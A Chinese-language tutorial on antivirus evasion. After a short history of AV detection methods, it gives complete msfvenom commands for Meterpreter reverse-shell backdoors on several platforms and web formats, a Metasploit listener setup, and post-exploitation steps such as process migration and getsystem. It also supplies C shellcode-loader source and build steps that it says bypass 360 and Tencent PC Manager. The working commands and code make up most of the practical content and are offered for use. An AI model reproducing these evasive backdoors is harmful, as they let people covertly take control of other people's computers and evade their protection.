每日一句:
君王遊樂萬機輕,一曲霓裳四海兵。 ——李約《過華清宮》
多練習,學了就練習,不然沒效果。
本文內容:
~常用命令
~常見的生成後門模式
~繞過360生成測試
~繞過騰訊管家生成測試
目的:從後門生成模塊到權限維持
零、殺毒與免殺的對抗
1,免殺技術發展史
理論上講,免殺一定是出現在殺毒軟件之後的。而通過殺毒軟件的發展史不難知道,
第一款殺毒軟件kill 1.0是Wish公司1987年推出的,也就是說免殺技術至少是在1989年以後才發展起來的。
關於世界免殺技術的歷史信息已無從考證,但從國內來講,免殺技術的起步可以說是非常晚了。
1989年:第一款殺毒軟件Mcafee誕生,標誌着反病毒與反查殺時代的到來。
1997年:國內出現了第一個可以自動變異的千面人病毒(Polymorphic/Mutation Virus)。
自動變異就是病毒針對殺毒軟件的免殺方法之一,但是與免殺手法的定義有出入。
2002年7月31日:國內第一個真正意義上的變種病毒“中國黑客II”出現,它除了具有新的特徵之外,
還實現了“中國黑客”第一代所未實現的功能,可見這個變種也是病毒編寫者自己製造的。
2005年09月:免殺技術開始真正的火起來。
由上面的信息可見,國內在1997年出現了第一個可以自動變異的千面人病毒,
雖然自動變異也可以看爲是針對殺毒軟件的一種免殺方法,但是由於與免殺手法的定義有出入,
所以如果將國內免殺技術起源定位1997年會顯得比較牽強。
一直等到2002年7月31日,國內第一個真正意義上的變種病毒“中國黑客II”才遲遲出現,
因此我們暫且可以將國內免殺技術的起源定位在2002年7月。
2,殺軟原理簡介()
殺毒軟件檢測方式
1,掃描技術
1、掃描壓縮包技術: 即是對壓縮包案和封裝文件作分析檢查的技術。
2、程序竄改防護: 即是避免惡意程序藉由刪除殺毒偵測程序而大肆破壞電腦。
3、修復技術: 即是對惡意程序所損壞的文件進行還原
4、急救盤殺毒: 利用空白U盤製作急救啓動盤,來檢測電腦病毒。
5、智能掃描: 掃描最常用的磁盤,系統關鍵位置,耗時較短。
6、全盤掃描: 掃描電腦全部磁盤,耗時較長。
7、勒索軟件防護: 保護電腦中的文件不被黑客惡意加密。
8、開機掃描: 當電腦開機時自動進行掃描,可以掃描壓縮文檔和可能不需要的程序
2,監控技術
1、內存監控: 當發現內存中存在病毒的時候,就會主動報警;監控所有進程;
監控讀取到內存中的文件;監控讀取到內存的網絡數據。
2、文件監控: 當發現寫到磁盤上的文件中存在病毒,或者是被病毒感染,就會主動報警。
3、郵件監控: 當發現電子郵件的附件存在病毒時進行攔截。
4、網頁防護: 阻止網絡攻擊和:提醒用戶可疑的應用程序行爲。和不安全下載。
5、行爲防護
掃描引擎
1,特徵碼掃描
機制:
將掃描信息與病毒數據庫(即所謂的“病毒特徵庫”)進行對照,如果信息與其中的任何一個病毒特徵符合,
殺毒軟件就會判斷此文件被病毒感染。殺毒軟件在進行查殺的時候,
會挑選文件內部的一段或者幾段代碼來作爲他識別病毒的方式,這種代碼就叫做病毒的特徵碼
特徵碼類別:
(1).文件特徵碼:對付病毒在文件中的存在方式:單一文件特徵碼、複合文件特徵碼(通過多處特徵進行判斷);
(2).內存特徵碼:對付病毒在內存中的存在方式:單一內存特徵碼、複合內存特徵碼
優點:
速度快,配備高性能的掃描引擎;準確率相對比較高,誤殺操作相對較少;很少需要用戶參與。
缺點:
採用病毒特徵代碼法的檢測工具,面對不斷出現的新病毒,必須不斷更新病毒庫的版本,
否則檢測工具便會老化,逐漸失去實用價值;病毒特徵代碼法對從未見過的新病毒,
無法知道其特徵代碼,因而無法去檢測新病毒;病毒特徵碼如果沒有經過充分的檢驗,可能會出現誤報,
數據誤刪,系統破壞,給用戶帶來麻煩。
2,文件校驗和法
對文件進行掃描後,可以將正常文件的內容,計算其校驗和,
將該校驗和寫入文件中或寫入別的文件中保存;在文件使用過程中,
定期地或每次使用文件前,檢查文件現在內容算出的校驗和與原來保存的校驗和是否一致,
因而可以發現文件是否感染病毒。
3,進程行爲監測法(沙盒模式)
機制:
通過對病毒多年的觀察、研究,有一些行爲是病毒的共同行爲,而且比較特殊,
在正常程序中,這些行爲比較罕見。當程序運行時,監視其進程的各種行爲,如果發現了病毒行爲,立即報警。
優點: 可發現未知病毒、可相當準確地預報未知的多數病毒;
缺點: 可能誤報警、不能識別病毒名稱、有一定實現難度、需要更多的用戶參與判斷;
4,主動防禦技術
主動防禦並不需要病毒特徵碼支持,只要殺毒軟件能分析並掃描到目標程序的行爲,
並根據預先設定的規則,判定是否應該進行清除操作 主動防禦本來想領先於病毒,
讓殺毒軟件自己變成安全工程師來分析病毒,從而達到以不變應萬變的境界。
但是,計算機的智能總是在一系列的規則下誕生,而普通用戶的技術水平達不到專業分析病毒的水平,
兩者之間的博弈將主動防禦推上一個尷尬境地。
5,機器學習識別技術
機器學習識別技術既可以做靜態樣本的二進制分析,又可以運用在沙箱動態行爲分析當中,
是爲內容/行爲+算法模式。伴隨着深度學習的急速發展,各家廠商也開始嘗試運用深度學習技術來識別病毒特徵,
如瀚思科技的基於深度學習的二進制惡意樣本檢測
3,免殺概念
免殺,也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,
英文爲Anti-AntiVirus(簡寫Virus AV),逐字翻譯爲“反-反病毒”,翻譯爲“反殺毒技術”。
免殺技術介紹:
1.修改特徵碼
免殺的最基本思想就是破壞特徵,這個特徵有可能是特徵碼,有可能是行爲特徵,只要破壞了病毒與木馬所固有的特徵,
並保證其原有功能沒有改變,一次免殺就能完成了。(特徵碼:能識別一個程序是一個病毒的一段不大於64字節的特徵串)
就目前的反病毒技術來講,更改特徵碼從而達到免殺的效果事實上包含着兩種方式。
一種是改特徵碼,這也是免殺的最初方法。例如一個文件在某一個地址內有“灰鴿子上線成功!”這麼一句話,
表明它就是木馬,只要將相應地址內的那句話改成別的就可以了,如果是無關痛癢的,直接將其刪掉也未嘗不可。
第二種是針對目前推出的校驗和查殺技術提出的免殺思想,它的原理雖然仍是特徵碼,但是已經脫離純粹意義上特徵碼的概念,
不過萬變不離其宗。其實校驗和也是根據病毒文件中與衆不同的區塊計算出來的,
如果一個文件某個特定區域的校驗和符合病毒庫中的特徵,那麼反病毒軟件就會報警。
所以如果想阻止反病毒軟件報警,只要對病毒的特定區域進行一定的更改,就會使這一區域的校驗和改變,
從而達到欺騙反病毒軟件的目的。
修改特徵碼最重要的是定位特徵碼,但是定位了特徵碼修改後並不代表程序就能正常運行,
費時費力,由於各個殺軟廠商的特徵庫不同,所以一般也只能對一類的殺軟起效果。雖然效果不好,
但有時候在沒有源碼的情況下可以一用。
2.花指令免殺
花指令其實就是一段毫無意義的指令,也可以稱之爲垃圾指令。花指令是否存在對程序的執行結果沒有影響,
所以它存在的唯一目的就是阻止反彙編程序,或對反彙編設置障礙。
大多數反病毒軟件是靠特徵碼來判斷文件是否有毒的,而爲了提高精度,現在的特徵碼都是在一定偏移量限制之內的,
否則會對反病毒軟件的效率產生嚴重的影響!而在黑客們爲一個程序添加一段花指令之後,程序的部分偏移會受到影響,
如果反病毒軟件不能識別這段花指令,那麼它檢測特徵碼的偏移量會整體位移一段位置,自然也就無法正常檢測木馬了。
3.加殼免殺
說起軟件加殼,簡單地說,軟件加殼其實也可以稱爲軟件加密(或軟件壓縮),只是加密(或壓縮)的方式與目的不一樣罷了。
殼就是軟件所增加的保護,並不會破壞裏面的程序結構,當我們運行這個加殼的程序時,系統首先會運行程序裏的殼,
然後由殼將加密的程序逐步還原到內存中,最後運行程序。
當我們運行這個加殼的程序時,系統首先會運行程序的“殼”,然後由殼將加密的程序逐步還原到內存中,
最後運行程序。這樣一來,在我們看來,似乎加殼之後的程序並沒有什麼變化,然而它卻達到了加密的目的,這就是殼的作用。
加殼雖然對於特徵碼繞過有非常好的效果,加密殼基本上可以把特徵碼全部掩蓋,但是缺點也非常的明顯,
因爲殼自己也有特徵。在某些比較流氓的國產殺軟的檢測方式下,主流的殼如VMP, Themida等,一旦被檢測到加殼直接彈框告訴你這玩意兒有問題,雖然很直接,但是還是挺有效的。有些情況下,
有的常見版本的殼會被直接脫掉分析。
面對這種情況可以考慮用一切冷門的加密殼,有時間精力的可以基於開源的壓縮殼改一些源碼,效果可能會很不錯。
總得來說,加殼的方式來免殺還是比較實用的,特別是對於不開源的PE文件,通過加殼可以繞過很多特徵碼識別。
4.內存免殺
CPU不可能是爲某一款加殼軟件而特別設計的,因此某個軟件被加殼後的可執行代碼CPU是讀不懂的。
這就要求在執行外殼代碼時,要先將原軟件解密,並放到內存裏,然後再通知CPU執行。
因爲殺毒軟件的內存掃描原理與硬盤上的文件掃描原理都是一樣的,都是通過特徵碼比對的,
只不過爲了製造迷惑性,大多數反病毒公司的內存掃描與文件掃描採用的不是同一套特徵碼,
這就導致了一個病毒木馬同時擁有兩套特徵碼,必須要將它們全部破壞掉才能躲過反病毒軟件的查殺。
因此,除了加殼外,黑客們對抗反病毒軟件的基本思路沒變。而對於加殼,
只要加一個會混淆程序原有代碼的“猛”殼,其實還是能躲過殺毒軟件的查殺的。
5.二次編譯
metasploit的msfvenom提供了多種格式的payload和encoder,生成的shellcode也爲二次加工提供了很大遍歷,
但是也被各大廠商盯得死死的。而shikata_ga_nai是msf中唯一的評價是excellent的編碼器,
這種多態編碼技術使得每次生成的攻擊載荷文件是不一樣的,編碼和解碼也都是不一樣。還可以利用管道進行多重編碼進行免殺。
目前msfvenom的encoder特徵基本都進入了殺軟的漏洞庫,很難實現單一encoder編碼而繞過殺軟,
所以對shellcode進行進一步修改編譯成了msf免殺的主流。
互聯網上有很多藉助於C、C#、python等語言對shellcode進行二次編碼從而達到免殺的效果。
6.分離免殺
侯亮大神和傾旋大神都分別提到過payload分離免殺和webshell分離免殺,採用分離法,
即將ShellCode和加載器分離。網上各種加載器代碼也有很多,各種語言實現的都很容易找到,雖然看起來比較簡單,
但效果卻是不錯的。比如侯亮大神提到的shellcode_launcher,加載c代碼,基本沒有能查殺的AV。
7.資源修改
有些殺軟會設置有掃描白名單,比如之前把程序圖標替換爲360安全衛士圖標就能過360的查殺。
加資源
使用ResHacker對文件進行資源操作,找來多個正常軟件,將它們的資源加入到自己軟件,如圖片,版本信息,對話框等。
替換資源
使用ResHacker替換無用的資源(Version等)。
加簽名
使用簽名僞造工具,將正常軟件的簽名信息加入到自己軟件中。
總結,上述內容非常得廣泛,在這裏僅僅先給大家做個普及。關於免殺,我們今天學習的主要是MSF的二次編譯。
一、常用命令
-p: 指定payload模塊
-l :列出可用項
-f :指定文件類型
-e: 加載編碼器
-b:刪除無效字符
-i :指定編碼次數
-x: 捆綁文件
-o:導出文件
二、常見的生成後門模式
1,目的:使用MsFvenom快速生成木馬並且進行連接
示例:
(1),生成木馬
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.221.143 lport=1250 -f exe > shell.exe
-p 指定payload
-e 指定編碼平臺
-i 指定編碼次數
-f 指定文件輸出格式
lhost 監聽機的IP
lport 監聽機的端口
msfvenom MSF的編碼模塊
windows/meterpreter/reverse_tcp 一個反彈shell的payload
(2),將生成的木馬扔到靶機
(3),監聽機開啓監聽模塊
監聽模塊:
use exploit/multi/handler
===記得配置一下options,一般也就需要設置一個payload
設置payload:
set payload windows/meterpreter/reverse_tcp
===注意這個payload要和我們生成木馬的要一致
===還有就是配置(修改)一下端口與IP
開啓監聽:
run
(4),手動打開剛剛生成的木馬
(5),返回監聽機,成功拿到會話
可以試試,
dir命令看看桌面有哪些東西
getuid看看權限
ps查看進程
migrate 某個進程號
===將木馬進程遷移至某系統進程,達到隱藏基進程的作用
===一般遷移至explorer.exe中,這是資源管理器
===這個進程有很多基礎功能,作爲進程樹被用戶幹掉的話,電腦會直接卡死。
注意的是,此時一般權限不會太高。
可以試試getsystem看看能不能提權
不行的話,就用上一節的補丁提權模塊去試試
另外,因爲此時權限不夠,做一些東西,像360都不會管
比如,創建用戶,他會提示權限不夠。因爲沒有成功創建用戶,所以360一般也不管
2,常見後門生成方式
1.Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
2.Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3.MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
4.PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT=1520 -f raw > shell.php
5.Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
6.Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
問:想php,asp這種怎麼利用
答:正常將文件放置www文件夾下,開啓監聽,直接去訪問這個文件即可
三、繞過360生成測試
1,安裝編譯軟件VC++6.0
===可以自行百度,也可以找我要
2,生成木馬後門
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
結果:會生成一些編碼 注意:這個命令的符號是中文,記得修改一下。不然MSF會報錯
3,將上邊生成編碼與下邊的代碼放置同一個文本文檔中
代碼:
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(這裏放生成好的數組)
main()
{
((void(*)(void))&buf)();
}
4,編譯c語言爲exe文件
~打開VC++
~新建,選擇工程,選擇win32 Application
取個名字(以shell爲例),調整一下路徑,創建新的空間
~創建一個簡單的Win32程序
~完成、確定
~選擇Source Files\shell.cpp
~將我們上邊的C語言代碼把原有代碼覆蓋
~將上邊生成的編碼數組替換
~選擇StdAfx.cpp
~點擊組建
~點擊編譯
~將shell.cpp也編譯一下
~點擊組建[shell.exe]
注意:要先編譯stdafx.cpp文件,在編譯你的.cpp,生成木馬。順序不要錯
這時,在我們剛剛選擇的文件夾裏,已經創建好了exe文件
這個生成的exeWen文件已經可以繞過360了,但是這時還不能繞騰訊電腦管家
四、繞過騰訊管家生成測試
1,安裝編譯軟件VC++6.0
===可以自行百度,也可以找我要
2,生成木馬後門
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
結果:會生成一些編碼 注意:這個命令的符號是中文,記得修改一下。不然MSF會報錯
3,將上邊生成編碼與下邊的代碼放置同一個文本文檔中
代碼:
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(這裏放生成好的數組)
main()
{
((void(*)(void))&buf)();
}
~打開VC++
~新建,選擇工程,選擇win32 Application
取個名字(以shell爲例),調整一下路徑,創建新的空間
~創建一個簡單的Win32程序
~完成、確定
~選擇Source Files\shell.cpp
~將我們上邊的C語言代碼把原有代碼覆蓋
~將上邊生成的編碼數組替換
~選擇StdAfx.cpp
~點擊組建
~點擊編譯
~將shell.cpp也編譯一下
~點新建,點擊光標文件
~點擊,添加到工程
~文件名隨便(如aaa)
~點確定,隨便畫點東西
~點擊編譯
~點新建,多新建幾個干擾項
光標文件及其下邊幾個
隨便命名,隨便寫
別忘記點擊編譯
。。。
~最後點擊全部組建,
看看shell.exe的大小,不加干擾項應該是169K
加成功干擾下,應該大於169
這個生成的Wen文件已經可以繞過電腦管家了
五、知識補充
問:後門生成模塊的作用是什麼?
維持訪問,持續控制
問:MsFvenom支持生成的腳本有哪些?
使用命令:MsFvenom -l formats查看支持的腳本列表
問:如何查看msfvenom支持的payload?
使用命令:msfvenom -l payloads查看支持的payload
問:如何查看msfvenom支持的編碼器?
使用命令:msfvenom -l encoders查看支持的所有編碼器
問:什麼是shellcode?
Shellcode也就是利用代碼
問:Msfvenom導出生成的腳本的方式有那種?
我們可以使用-o參數,或者是“>>”導出文件名
問:在生成木馬腳本的時候指定目標系統和目標架構的作用是什麼?
生成的腳本的準確性,有些腳本我們生成之後可能無法在對方系統運行
問:Msfvenom生成後門文件的流程是什麼?
生成後門文件在對方主機上執行或者觸發 2.本地監控設置的端口,然後對方上線即可控制對方主機
問:在監聽的時候我們使用什麼模塊?
使用模塊:use exploit/multi/handler
問:在監聽的時候我們應該注意什麼?
當我們選擇了監聽模塊,然後呢,設置payload的時候要注意使用對應的payload,也就是我們生成木馬文件所使用的payload
問:常見的後門生成模式有哪些?
根據需求來,一般來說有php,asp,Windows,linux,mac,powershell等等。
問:安裝vc++6.0的作用是什麼?
編譯我們的C語言的數組,編譯成exe可執行文件
問:繞過360軟件的思路是什麼?
通過msfvenom所生成的C語言,然後編譯,這樣的話,特徵就被去掉了。然後繞過
問:繞過騰訊管家的思路是什麼?
通過添加資源文件來改變特徵碼,從而去繞過,如果被查殺了,納悶我們就添加一些東西,例如簽名,版權,圖標等等信息
問:第一次繞過了,爲什麼第二次會被攔截?
因爲,你上傳過你的木馬後門,然後防護軟件進行分析,然後第二次你同樣去做,就會攔截了。
這是不斷對抗的,所以方式方法以一定只有一種,多種
問:vc++6.0安裝在什麼地方?
最好安裝在win10上因爲。如果安裝在win7上可能會因爲缺少組件報錯
問: >可以用什麼參數替換?
這個參數我們可以用-o來替換
問:-e參數是幹什麼的?如何去選擇編碼器?
-e參數是指定編碼器的,選擇編碼器需要根據對方的系統環境來選擇